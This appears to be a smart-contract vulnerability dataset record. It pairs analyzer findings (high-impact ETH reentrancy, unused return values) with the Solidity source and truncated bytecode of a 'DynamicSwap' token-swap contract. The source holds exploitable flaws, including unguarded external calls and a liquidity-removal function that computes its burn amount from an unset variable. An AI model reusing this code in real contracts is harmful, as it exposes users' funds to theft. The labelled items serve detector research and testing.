056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f2b4ea8fbf878509778007d34264785385ffb019956ec0fa8c277dfdbeb2bb664736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
408
0xf8800c1bc5eb3a36c2c4a161ae40ad85f265e8c2
pragma solidity 0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; if(a % b != 0) c = c + 1; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; function mul(int256 a, int256 b) internal pure returns (int256) { if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } function sqrt(int256 x) internal pure returns (int256) { int256 z = add(x / 2, 1); int256 y = x; while (z < y) { y = z; z = ((add((x / z), z)) / 2); } return y; } } contract DynamicSwap is ERC20, ERC20Detailed { using SafeMath for uint; using SignedSafeMath for int256; using SafeERC20 for IERC20; mapping(address => bool) coins; address public governance; constructor() public ERC20Detailed("DynamicSwap", "dUSD", 18) { governance = msg.sender; } function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function approveCoins(address _coin) external { require(msg.sender == governance, "!governance"); coins[_coin] = true; } uint public fee = 99985; uint public constant BASE = 100000; uint public constant A = 0.75e18; uint public count = 0; mapping(address => bool) tokens; function f(int256 _x, int256 x, int256 y) internal pure returns (int256 _y) { int256 k; int256 c; { int256 u = x.add(y.mul(int256(A)).div(1e18)); int256 v = y.add(x.mul(int256(A)).div(1e18)); k = u.mul(v); c = _x.mul(_x).sub(k.mul(1e18).div(int256(A))); } int256 cst = int256(A).add(int256(1e36).div(int256(A))); int256 _b = _x.mul(cst).div(1e18); int256 D = _b.mul(_b).sub(c.mul(4)); require(D >= 0, "!root"); _y = (-_b).add(D.sqrt()).div(2); } // Calculate output given exact input function getOutExactIn(int256 input, int256 x, int256 y) public pure returns (uint) { int256 _x = x.add(input); int256 _y = f(_x, x, y); return uint(y.sub(_y)); } // Calculate input given exact output function getInExactOut(int256 output, int256 x, int256 y) public pure returns (uint) { int256 _y = y.sub(output); int256 _x = f(_y, y, x); return uint(_x.sub(x)); } // Normalize coin to 1e18 function normalize1e18(IERC20 token, uint _amount) public view returns (uint) { uint _decimals = ERC20Detailed(address(token)).decimals(); if (_decimals == uint(18)) { return _amount; } else { return _amount.mul(1e18).div(uint(10)**_decimals); } } // Normalize coin to original decimals function normalize(IERC20 token, uint _amount) public view returns (uint) { uint _decimals = ERC20Detailed(address(token)).decimals(); if (_decimals == uint(18)) { return _amount; } else { return _amount.mul(uint(10)**_decimals).div(1e18); } } // Contract balance of coin normalized to 1e18 function balance(IERC20 token) public view returns (uint) { return normalize1e18(token, token.balanceOf(address(this))); } // Converter helper to int256 function i(uint x) public pure returns (int256) { return int256(x); } function swapExactAmountIn(IERC20 from, IERC20 to, uint input, uint minOutput, uint deadline) external returns (uint output) { require(block.timestamp <= deadline, "expired"); output = normalize(to, getOutExactIn(i(normalize1e18(from, input.mul(fee).div(BASE))), i(balance(from)), i(balance(to)))); require(output >= minOutput, "slippage"); from.safeTransferFrom(msg.sender, address(this), input); to.safeTransfer(msg.sender, output); } function swapExactAmountOut(IERC20 from, IERC20 to, uint maxInput, uint output, uint deadline) external returns (uint input) { require(block.timestamp <= deadline, "expired"); input = normalize(from, getInExactOut(i(normalize1e18(to, output)), i(balance(from)), i(balance(to)))); input = input.mul(BASE).divCeil(fee); require(input <= maxInput, "slippage"); from.safeTransferFrom(msg.sender, address(this), input); to.safeTransfer(msg.sender, output); } function addLiquidityExactIn(IERC20 from, uint input, uint minOutput, uint deadline) external returns (uint output) { require(coins[address(from)]==true, "!coin"); require(block.timestamp <= deadline, "expired"); if (totalSupply() == 0) { output = input; } else { output = getOutExactIn(i(normalize1e18(from, input.mul(fee).div(BASE))), i(balance(from)), i(totalSupply().div(count))); } require(output >= minOutput, "slippage"); from.safeTransferFrom(msg.sender, address(this), input); _mint(msg.sender, output); if (!tokens[address(from)] && balance(from) > 0 ) { tokens[address(from)] = true; count = count.add(1); } } function addLiquidityExactOut(IERC20 from, uint maxInput, uint output, uint deadline) external returns (uint input) { require(coins[address(from)] == true, "!coin"); require(block.timestamp <= deadline, "expired"); if (totalSupply() == 0) { input = output; } else { input = normalize(from, getInExactOut(i(output), i(balance(from)), i(totalSupply().div(count)))); input = input.mul(BASE).divCeil(fee); } require(input <= maxInput, "slippage"); from.safeTransferFrom(msg.sender, address(this), input); _mint(msg.sender, output); if (!tokens[address(from)] && balance(from) > 0 ) { tokens[address(from)] = true; count = count.add(1); } } function removeLiquidityExactIn(IERC20 to, uint input, uint minOutput, uint deadline) external returns (uint output) { require(block.timestamp <= deadline, "expired"); output = normalize(to, getOutExactIn(i(input.mul(fee).div(BASE)), i(totalSupply().div(count)), i(balance(to)))); require(output >= minOutput, "slippage"); _burn(msg.sender, input); to.safeTransfer(msg.sender, output); if (balance(to)==0) { tokens[address(to)] = false; } } function removeLiquidityExactOut(IERC20 to, uint maxInput, uint output, uint deadline) external returns (uint input) { require(block.timestamp <= deadline, "expired"); input = getInExactOut(i(normalize1e18(to, input)), i(totalSupply().div(count)), i(balance(to))); input = input.mul(BASE).divCeil(fee); require(input <= maxInput, "slippage"); _burn(msg.sender, input); to.safeTransfer(msg.sender, output); if (balance(to)==0) { tokens[address(to)] = false; } } }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c8063679fb28711610104578063ab033ea9116100a2578063e3d670d711610071578063e3d670d714610b63578063ec342ad014610bbb578063ef9aa9fc14610bd9578063f446c1d014610c4f576101da565b8063ab033ea914610a13578063cd55e09214610a57578063dd62ed3e14610acd578063ddca3f4314610b45576101da565b80639179182d116100de5780639179182d1461088057806395d89b41146108c4578063a457c2d714610947578063a9059cbb146109ad576101da565b8063679fb2871461077057806370a08231146107d257806384b4b0b61461082a576101da565b806319b6ca8c1161017c5780633397d6011161014b5780633397d601146105b4578063395093511461064a5780635aa6e675146106b05780636015f4ef146106fa576101da565b806319b6ca8c1461047257806323b872dd146104c857806329688a801461054e578063313ce56714610590576101da565b8063095ea7b3116101b8578063095ea7b3146102f657806318160ddd1461035c5780631820b47f1461037a57806318988a4514610410576101da565b806303d93868146101df57806306661abd1461025557806306fdde0314610273575b600080fd5b61023f600480360360808110156101f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050610c6d565b6040518082815260200191505060405180910390f35b61025d610fcf565b6040518082815260200191505060405180910390f35b61027b610fd5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102bb5780820151818401526020810190506102a0565b50505050905090810190601f1680156102e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103426004803603604081101561030c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611077565b604051808215151515815260200191505060405180910390f35b610364611095565b6040518082815260200191505060405180910390f35b6103fa600480360360a081101561039057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919050505061109f565b6040518082815260200191505060405180910390f35b61045c6004803603604081101561042657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611261565b6040518082815260200191505060405180910390f35b6104b26004803603606081101561048857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611336565b6040518082815260200191505060405180910390f35b610534600480360360608110156104de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061137b565b604051808215151515815260200191505060405180910390f35b61057a6004803603602081101561056457600080fd5b8101908080359060200190929190505050611454565b6040518082815260200191505060405180910390f35b61059861145e565b604051808260ff1660ff16815260200191505060405180910390f35b610634600480360360a08110156105ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050611475565b6040518082815260200191505060405180910390f35b6106966004803603604081101561066057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611634565b604051808215151515815260200191505060405180910390f35b6106b86116e7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61075a6004803603608081101561071057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919050505061170d565b6040518082815260200191505060405180910390f35b6107bc6004803603604081101561078657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061191f565b6040518082815260200191505060405180910390f35b610814600480360360208110156107e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119f4565b6040518082815260200191505060405180910390f35b61086a6004803603606081101561084057600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611a3c565b6040518082815260200191505060405180910390f35b6108c26004803603602081101561089657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a81565b005b6108cc611b9f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561090c5780820151818401526020810190506108f1565b50505050905090810190601f1680156109395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109936004803603604081101561095d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c41565b604051808215151515815260200191505060405180910390f35b6109f9600480360360408110156109c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d0e565b604051808215151515815260200191505060405180910390f35b610a5560048036036020811015610a2957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2c565b005b610ab760048036036080811015610a6d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050611e33565b6040518082815260200191505060405180910390f35b610b2f60048036036040811015610ae357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612198565b6040518082815260200191505060405180910390f35b610b4d61221f565b6040518082815260200191505060405180910390f35b610ba560048036036020811015610b7957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612225565b6040518082815260200191505060405180910390f35b610bc36122ef565b6040518082815260200191505060405180910390f35b610c3960048036036080811015610bef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001909291905050506122f6565b6040518082815260200191505060405180910390f35b610c57612505565b6040518082815260200191505060405180910390f35b600060011515600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610d35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f21636f696e00000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81421115610dab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f657870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000610db5611095565b1415610dc357839050610e3e565b610e3b610e01610dfc87610df7620186a0610de96008548b61251190919063ffffffff16565b61259790919063ffffffff16565b611261565b611454565b610e12610e0d88612225565b611454565b610e36610e31600954610e23611095565b61259790919063ffffffff16565b611454565b611a3c565b90505b82811015610eb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f736c69707061676500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610ee13330868873ffffffffffffffffffffffffffffffffffffffff166125e1909392919063ffffffff16565b610eeb33826126e7565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f4d57506000610f4b86612225565b115b15610fc7576001600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610fc060016009546128a290919063ffffffff16565b6009819055505b949350505050565b60095481565b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561106d5780601f106110425761010080835404028352916020019161106d565b820191906000526020600020905b81548152906001019060200180831161105057829003601f168201915b5050505050905090565b600061108b61108461292a565b8484612932565b6001905092915050565b6000600254905090565b600081421115611117576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f657870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61115c8661115761113061112b8988611261565b611454565b61114161113c8b612225565b611454565b61115261114d8b612225565b611454565b611336565b61191f565b905061118860085461117a620186a08461251190919063ffffffff16565b612b2990919063ffffffff16565b905083811115611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f736c69707061676500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61122d3330838973ffffffffffffffffffffffffffffffffffffffff166125e1909392919063ffffffff16565b61125833848773ffffffffffffffffffffffffffffffffffffffff16612b679092919063ffffffff16565b95945050505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156112aa57600080fd5b505afa1580156112be573d6000803e3d6000fd5b505050506040513d60208110156112d457600080fd5b810190808051906020019092919050505060ff16905060128114156112fc5782915050611330565b61132c81600a0a61131e670de0b6b3a76400008661251190919063ffffffff16565b61259790919063ffffffff16565b9150505b92915050565b60008061134c8584612c3890919063ffffffff16565b9050600061135b828587612cc6565b90506113708582612c3890919063ffffffff16565b925050509392505050565b6000611388848484612f3d565b6114498461139461292a565b61144485604051806060016040528060288152602001613c4760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113fa61292a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131f39092919063ffffffff16565b612932565b600190509392505050565b6000819050919050565b6000600560009054906101000a900460ff16905090565b6000814211156114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f657870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61155b8561155661152f61152a8a611525620186a06115176008548d61251190919063ffffffff16565b61259790919063ffffffff16565b611261565b611454565b61154061153b8b612225565b611454565b61155161154c8b612225565b611454565b611a3c565b61191f565b9050828110156115d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f736c69707061676500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6116003330868973ffffffffffffffffffffffffffffffffffffffff166125e1909392919063ffffffff16565b61162b33828773ffffffffffffffffffffffffffffffffffffffff16612b679092919063ffffffff16565b95945050505050565b60006116dd61164161292a565b846116d8856001600061165261292a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a290919063ffffffff16565b612932565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081421115611785576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f657870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6117d461179a6117958784611261565b611454565b6117be6117b96009546117ab611095565b61259790919063ffffffff16565b611454565b6117cf6117ca89612225565b611454565b611336565b90506118006008546117f2620186a08461251190919063ffffffff16565b612b2990919063ffffffff16565b905083811115611878576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f736c69707061676500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61188233826132b3565b6118ad33848773ffffffffffffffffffffffffffffffffffffffff16612b679092919063ffffffff16565b60006118b886612225565b1415611917576000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b949350505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561196857600080fd5b505afa15801561197c573d6000803e3d6000fd5b505050506040513d602081101561199257600080fd5b810190808051906020019092919050505060ff16905060128114156119ba57829150506119ee565b6119ea670de0b6b3a76400006119dc83600a0a8661251190919063ffffffff16565b61259790919063ffffffff16565b9150505b92915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080611a52858561346b90919063ffffffff16565b90506000611a61828686612cc6565b9050611a768185612c3890919063ffffffff16565b925050509392505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b44576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c375780601f10611c0c57610100808354040283529160200191611c37565b820191906000526020600020905b815481529060010190602001808311611c1a57829003601f168201915b5050505050905090565b6000611d04611c4e61292a565b84611cff85604051806060016040528060258152602001613d4e6025913960016000611c7861292a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131f39092919063ffffffff16565b612932565b6001905092915050565b6000611d22611d1b61292a565b8484612f3d565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611def576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600060011515600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611efb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f21636f696e00000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81421115611f71576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f657870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000611f7b611095565b1415611f8957829050612007565b611fd885611fd3611f9986611454565b611faa611fa58a612225565b611454565b611fce611fc9600954611fbb611095565b61259790919063ffffffff16565b611454565b611336565b61191f565b9050612004600854611ff6620186a08461251190919063ffffffff16565b612b2990919063ffffffff16565b90505b8381111561207d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f736c69707061676500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6120aa3330838873ffffffffffffffffffffffffffffffffffffffff166125e1909392919063ffffffff16565b6120b433846126e7565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121165750600061211486612225565b115b15612190576001600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061218960016009546128a290919063ffffffff16565b6009819055505b949350505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60085481565b60006122e8828373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156122a857600080fd5b505afa1580156122bc573d6000803e3d6000fd5b505050506040513d60208110156122d257600080fd5b8101908080519060200190929190505050611261565b9050919050565b620186a081565b60008142111561236e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f657870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6123e6856123e16123a76123a2620186a06123946008548b61251190919063ffffffff16565b61259790919063ffffffff16565b611454565b6123cb6123c66009546123b8611095565b61259790919063ffffffff16565b611454565b6123dc6123d78b612225565b611454565b611a3c565b61191f565b90508281101561245e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f736c69707061676500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61246833856132b3565b61249333828773ffffffffffffffffffffffffffffffffffffffff16612b679092919063ffffffff16565b600061249e86612225565b14156124fd576000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b949350505050565b670a688906bd8b000081565b6000808314156125245760009050612591565b600082840290508284828161253557fe5b041461258c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613c266021913960400191505060405180910390fd5b809150505b92915050565b60006125d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506134f9565b905092915050565b6126e1848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506135bf565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561278a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61279f816002546128a290919063ffffffff16565b6002819055506127f6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128a290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015612920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156129b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613cdc6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613b9c6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808211612b3757600080fd5b6000828481612b4257fe5b0490506000838581612b5057fe5b0614612b5d576001810190505b8091505092915050565b612c33838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8